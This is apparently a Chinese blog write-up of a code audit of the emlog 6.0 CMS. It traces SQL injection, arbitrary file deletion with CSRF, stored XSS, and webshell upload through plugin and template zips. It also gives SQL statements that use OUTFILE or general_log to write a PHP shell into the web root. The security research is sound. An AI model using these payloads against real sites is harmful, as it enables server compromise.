emlog6.0代码审计

emlog6.0代码审计

自动化扫描

Seay

1597454937215

RIPS

1597455514615

分析

在index.php可以发现其包含了init.php,init.php调用了doStripslashes()函数

1
2
3
4
5
6
7
8
function doStripslashes() {
if (get_magic_quotes_gpc()) {
$_GET = stripslashesDeep($_GET);
$_POST = stripslashesDeep($_POST);
$_COOKIE = stripslashesDeep($_COOKIE);
$_REQUEST = stripslashesDeep($_REQUEST);
}
}

该函数的作用为移除多余的转译字符,但是并没有对GET,POST数据进行过滤,多以可以通过搜索$_GET或者$_POST来进行查找可以用的输入点

SQL注入

/admin/comment.php

通过全局搜索? $_GET[,发现在/admin/comment.php中的ip参数未经过任何过滤,可能存在漏洞
1597478056050

1
2
3
4
5
6
7
8
9
10
if ($action== 'delbyip') {
LoginAuth::checkToken();
if (ROLE != ROLE_ADMIN) {
emMsg('权限不足!', './');
}
$ip = isset($_GET['ip']) ? $_GET['ip'] : '';
$Comment_Model->delCommentByIp($ip);
$CACHE->updateCache(array('sta','comment'));
emDirect("./comment.php?active_del=1");
}

定位delCommentByIp函数

1
2
3
4
5
6
7
8
9
10
function delCommentByIp($ip) {
$blogids = array();
$sql = "SELECT DISTINCT gid FROM ".DB_PREFIX."comment WHERE ip='$ip'";
$query = $this->db->query($sql);
while ($row = $this->db->fetch_array($query)) {
$blogids[] = $row['gid'];
}
$this->db->query("DELETE FROM ".DB_PREFIX."comment WHERE ip='$ip'");
$this->updateCommentNum($blogids);
}

任然未对用户的输入进行任何过滤,存在注入

利用:

由于有token验证机制,所以需要抓包并在url上添加上token,或者直接前台评论,后台点击删除即可

1597478701010

1597478663749

成功通过报错注入得到数据库名

/admin/tag.php

通过搜索? $_POST[,得到/admin/tag.php中的$_POST[‘tag’]未进行过滤,可能存在注入

1597480789083

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//批量删除标签
if ($action== 'dell_all_tag') {
$tags = isset($_POST['tag']) ? $_POST['tag'] : '';

LoginAuth::checkToken();

if (!$tags) {
emDirect("./tag.php?error_a=1");
}
foreach ($tags as $key=>$value) {
$Tag_Model->deleteTag($key);
}
$CACHE->updateCache(array('tags', 'logtags'));
emDirect("./tag.php?active_del=1");
}

跟踪deleteTag方法

1
2
3
4
5
6
7
8
9
10
function deleteTag($tagId) {
// 要删除一个标签,需要先检查哪些文章有引用这个标签,并把这个标签从那些引用中删除
$linked_blogs = $this->getBlogIdsFromTagId($tagId);

foreach ($linked_blogs as $blogId) {
$this->removeTagIdFromBlog($blogId, $tagId);
}

$this->db->query("DELETE FROM ".DB_PREFIX."tag where tid=$tagId");
}

未对用户输入作任何过滤,直接拼接到sql语句中,存在注入

利用:

由于该功能为删除标签,所以需要先发表一篇文章来创建一个标签
然后点击删除进行抓包
1597480867988

由于没有回显,所以可以使用时间盲注来进行利用
1597485971016

任意文件删除漏洞

/admin/data.php

1
2
3
4
5
6
7
8
9
10
if ($action == 'dell_all_bak') {
if (!isset($_POST['bak'])) {
emDirect('./data.php?error_a=1');
} else{
foreach ($_POST['bak'] as $val) {
unlink($val);
}
emDirect('./data.php?active_del=1');
}
}

其中bak未经过任何过滤,直接被拼接在路径中进行删除,导致存在任意文件删除
1597474342982

删除成功,该漏洞需要管理员权限,但是由于没有使用token验证机制,所以存在CSRF,可通过组合提高漏洞危害。

数据库备份GETSHELL

在测试sql注入的时候,发现POST数据不为数组时会将网站绝对路径爆出来,所以可以通过sql注入写入shell进一步利用

1597486834745

在/admin/data.php中发现可以进行本地数据库备份,并且可以上传数据库文件。所以可以尝试先备份一个数据库文件,修改其语句,再上传进行利用

1597547448625

将其内容改为插入shell的sql语句

1
SELECT "<?php phpinfo(); ?>" INTO outfile "C:\phpStudy\PHPTutorial\WWW\emlog_6.0.0\src\shell.php";

1597547625237

之后上传该文件,但是数据库配置secure_file_priv为null,导致我们并没有写入权限,并且该值不能通过执行SQL语句修改

1597547644250

但是可以尝试通过设置SQL日志的方式写入shell,首先需要保证general_log=on,再修改general_log_file的日志写入文件绝对路径

所以在数据库文件中加入下面语句

1
2
3
SET GLOBAL general_log = 'on';
SET GLOBAL general_log_file = 'C:\\phpStudy\\PHPTutorial\\WWW\\emlog_6.0.0\\src\\shell.php';
SELECT '<?php phpinfo(); ?>';

1597567178091

之后上传备份文件便成功写入了shell

1597567194812

文件上传漏洞

插件上传

在后台系统->插件处发现可以上传插件,跟据经验可以尝试将下载好的插件加入一个恶意的php文件再上传,经过后台解析zip文件后便可以访问

1597567959759

先去官网下载一个完整的插件压缩包,再将写好木马的php文件放入压缩包上传,此处为222.php

1597580892897

之后访问content/templates/模版名/222.php即可

1597581181715

模板上传

后台模板上传也时一样的操作,上传成功之后访问content/templates/模版名/222.php即可

1597581355856

存储型xss

1597583039865

1597583061018

1597583075767

分析
/admin/link.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if ($action== 'addlink') {
$taxis = isset($_POST['taxis']) ? intval(trim($_POST['taxis'])) : 0;
$sitename = isset($_POST['sitename']) ? addslashes(trim($_POST['sitename'])) : '';
$siteurl = isset($_POST['siteurl']) ? addslashes(trim($_POST['siteurl'])) : '';
$description = isset($_POST['description']) ? addslashes(trim($_POST['description'])) : '';

if ($sitename =='' || $siteurl =='') {
emDirect("./link.php?error_a=1");
}
if (!preg_match("/^http|ftp.+$/i", $siteurl)) {
$siteurl = 'http://'.$siteurl;
}
$Link_Model->addLink($sitename, $siteurl, $description, $taxis);
$CACHE->updateCache('link');
emDirect("./link.php?active_add=1");
}

用户的输入经过了addslashes的过滤,之后调用addLink函数进行添加链接,跟进addLink

1
2
3
4
5
6
7
function addLink($name, $url, $des, $taxis) {
if ($taxis > 30000 || $taxis < 0) {
$taxis = 0;
}
$sql="insert into ".DB_PREFIX."link (sitename,siteurl,description,taxis) values('$name','$url','$des', $taxis)";
$this->db->query($sql);
}

可以看到直接插入了数据库,未经过任何过滤

跟进输出情况,当action为空时会输出信息

1
2
3
4
5
6
7
if ($action == '') {
$links = $Link_Model->getLinks();
include View::getView('header');
require_once(View::getView('links'));
include View::getView('footer');
View::output();
}

跟进getLinks

1
2
3
4
5
6
7
8
9
10
11
function getLinks() {
$res = $this->db->query("SELECT * FROM ".DB_PREFIX."link ORDER BY taxis ASC");
$links = array();
while($row = $this->db->fetch_array($res)) {
$row['sitename'] = htmlspecialchars($row['sitename']);
$row['description'] = subString(htmlClean($row['description'], false),0,80);
$row['siteurl'] = $row['siteurl'];
$links[] = $row;
}
return $links;
}

其中只有siteurl未经过html实体化

跟进output函数

1
2
3
4
5
6
7
public static function output() {
$content = ob_get_clean();
ob_start();
echo $content;
ob_end_flush();
exit;
}

任然未作任何处理,所以造成了存储型xss

admin/widgets.php

这个存储型xss发生在侧边栏处,任然是过滤不严格导致的

1597649134928

1597649093466

参考文章:
https://print1.top/index.php/2020/05/14/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1-emlog6-0/#lou_dong_fen_xi

https://www.cnblogs.com/h2zZhou/p/9466373.html

文章作者:CyzCc
最后更新:2020年09月13日 17:09:01
原始链接:https://cyzcc.vip/2020/08/17/emlog6.0%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------